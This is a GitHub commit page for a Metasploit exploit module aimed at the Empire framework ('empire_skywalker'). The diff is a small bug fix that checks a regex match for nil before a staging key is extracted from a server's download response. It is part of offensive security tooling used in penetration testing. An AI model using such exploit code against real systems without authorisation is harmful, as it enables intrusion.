Skip to content

Commit b1e304a

Browse files
committed
Fix match
1 parent 0f6e2a6 commit b1e304a

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/http/empire_skywalker.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -146,8 +146,9 @@ def get_staging_key
146146
'uri' => normalize_uri(target_uri.path, 'download/python/')
147147
})
148148
return unless res and res.code == 200
149-
staging_key = /IV\+\'(.*)\'\.encode/.match(res.body)[1].bytes
150-
return staging_key
149+
match = /IV\+\'(.*)\'\.encode/.match(res.body)
150+
return match[1].bytes if match
151+
return
151152
end
152153

153154
# STAGE0_URI resource requested by the initial launcher

0 commit comments

Comments
 (0)